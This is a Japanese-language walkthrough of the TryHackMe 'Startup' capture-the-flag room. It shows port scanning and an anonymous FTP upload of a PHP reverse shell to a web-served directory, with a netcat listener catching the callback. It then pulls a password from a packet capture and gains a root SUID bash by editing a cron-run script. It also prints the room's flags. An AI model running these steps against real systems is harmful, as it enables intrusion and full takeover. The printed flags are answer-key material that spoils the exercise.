【TryHackMe】Startup：Walkthrough

# 概要

TryHackMe「Startup」のWalkthroughです。

https://tryhackme.com/r/room/startup

# Task1

## **Q1**.*What is the secret spicy soup recipe?*

**Hint**.*FTP and HTTP. What could possibly go wrong?*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.183.135 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
|   256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_  256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 3.0.3|
|22|ssh|OpenSSH 7.2p2|
|80|http|Apache httpd 2.4.18|

`80`番ポートでWebサービスにアクセスできました。

![home page.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/97ca5e10-62fa-798d-a4ac-499c746461aa.jpeg)

ディレクトリの列挙を行います。

```
$ dirsearch -u http://10.10.183.135
[09:05:10] 301 -  314B  - /files  ->  http://10.10.183.135/files/
[09:05:10] 200 -  512B  - /files/
```

`/files`にアクセスし画像とテキストファイルを発見しました。

![imposter.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8d02a5b1-c786-034c-ea3f-a24060a837cc.jpeg)

```/files/notice.txt
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.
```

`FTP`に`Anonymous`でアクセスします。

```
$ ftp 10.10.183.135
Connected to 10.10.183.135.
220 (vsFTPd 3.0.3)
Name (10.10.183.135:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Webサービスと同様のファイルが見つかりました。

```
ftp> ls -la
229 Entering Extended Passive Mode (|||56066|)
150 Here comes the directory listing.
drwxr-xr-x    3 65534    65534        4096 Nov 12  2020 .
drwxr-xr-x    3 65534    65534        4096 Nov 12  2020 ..
-rw-r--r--    1 0        0               5 Nov 12  2020 .test.log
drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp
-rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
```

全てのファイルをダウンロードし、確認しましたが悪用できそうな情報はありませんでした。

```
ftp> mget *
```

ファイル構成がWebサービスと同じかつ`ftp`ディレクトリが書き込み可能なのでここにリバースシェルのペイロードファイルを作成できないか試みます。
まず、試しに適当なファイルを置いてみます。

```
ftp> put demo
local: demo remote: demo
229 Entering Extended Passive Mode (|||45015|)
150 Ok to send data.
100% |************************************************************************|     7      201.05 KiB/s    --:-- ETA
226 Transfer complete.
7 bytes sent in 00:00 (0.01 KiB/s)
```

ファイルが反映されました。

![demo upload.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ae264359-d6f1-8d33-7794-6f4b6d5bbdfe.jpeg)

同様にPHPのリバースシェルファイルをアップロードします。

```
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||54420|)
150 Ok to send data.
100% |************************************************************************|  5685       50.66 MiB/s    --:-- ETA
226 Transfer complete.
5685 bytes sent in 00:00 (11.60 KiB/s)
```

![rev php uplaoad.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0f50bc10-094e-b63c-b0aa-b92af031c525.jpeg)

Netcatでリッスンし、リバースシェルファイルにアクセスると`www-data`のシェルを取得できました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.183.135] 52828
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 13:41:07 up 43 min,  0 users,  load average: 0.00, 0.00, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

TTYを設定します。

```
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@startup:/$ tty
tty
/dev/pts/0
```

`/`に`recipe.txt`を発見しました。

```
$ ls -la
-rw-r--r--   1 www-data www-data   136 Nov 12  2020 recipe.txt
```

ファイルの中身を閲覧すると答えがわかりました。

```/recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was love.
```

**A**.**love**

## **Q2**.*What are the contents of user.txt?*

**Hint**.*Something doesn't belong.*

`lennie`アカウントへの昇格を目指します。

```
$ ls -l /home
ls -l /home
total 4
drwx------ 4 lennie lennie 4096 Nov 12  2020 lennie
```

`/`を再度見ると`/incidents`フォルダを発見しました。

```
drwxr-xr-x   2 www-data www-data  4096 Nov 12  2020 incidents
```

`/incidents`フォルダに移動し、`suspicious.pcapng`ファイルを発見しました。

```
$ ls -l
ls -l
total 32
-rwxr-xr-x 1 www-data www-data 31224 Nov 12  2020 suspicious.pcapng
```

文字化けしていますがファイルの中身を注意深く見ていると、パスワードが要求された痕跡と文字列を発見しました。

```/incidents/suspicious.pcapng
*�@     *�?�[sudo] password for www-data: �d�=:L�ƨDD�E4~@@��������\�����/5�|�@��
*�@     *�@     dx�=:���AWEG@@��������\�����/5�|�▒@��
*�J*�@  c4ntg3t3n0ughsp1c3
```

SSH接続に成功しました。

```
$ ssh lennie@10.10.183.135
$ bash
lennie@startup:~$ whoami
lennie
```

`/home/lennie/user.txt`からフラグを入手できます。

```/home/lennie/user.txt
THM{03ce3d619b80ccbfb3b7fc81e46c0e79}
```

**A**.**THM{03ce3d619b80ccbfb3b7fc81e46c0e79}**

## **Q3**.*What are the contents of root.txt?*

**Hint**.*Scripts...*

`pspy`をKaliからダウンロードし、実行します。

```
./pspy32
```

rootが`/home/lennie/scripts/planner.sh`を実行していると分かりました。

```
2024/07/20 14:14:01 CMD: UID=0     PID=2660   | /bin/bash /home/lennie/scripts/planner.sh
```

`/home/lennie/scripts/planner.sh`の処理内容を見ると`$LIST`変数を`/home/lennie/scripts/startup_list.txt`に出力していると分かりました。

```/home/lennie/scripts/planner.sh
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
```

そして`/etc/print.sh`に`lennie`で編集権限があり、実行していると分かりました。

```
$ ls -l /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12  2020 /etc/print.sh
```

```/etc/print.sh
#!/bin/bash
echo "Done!"
```

`/etc/print.sh`を編集します。

```
$ cd /tmp
$ echo "cp /bin/bash /tmp/bash" >> /etc/print.sh
$ echo "chmod u+s /tmp/bash" >> /etc/print.sh
```

`SUID`が設定された`bash`プログラムを作成できました。

```
lennie@startup:/tmp$ ls -la
total 4304
drwxrwxrwt  7 root   root      4096 Jul 20 14:26 .
drwxr-xr-x 25 root   root      4096 Jul 20 12:58 ..
-rwsr-xr-x  1 root   root   1037528 Jul 20 14:26 bash
```

実行し、権限昇格に成功しました。

```
$ /tmp/bash -p
bash-4.3# whoami
root
```

`/root/root.txt`からフラグを入手できます。

```/root/root.txt
THM{f963aaa6a430f210222158ae15c3d76d}
```

**A**.**THM{f963aaa6a430f210222158ae15c3d76d}**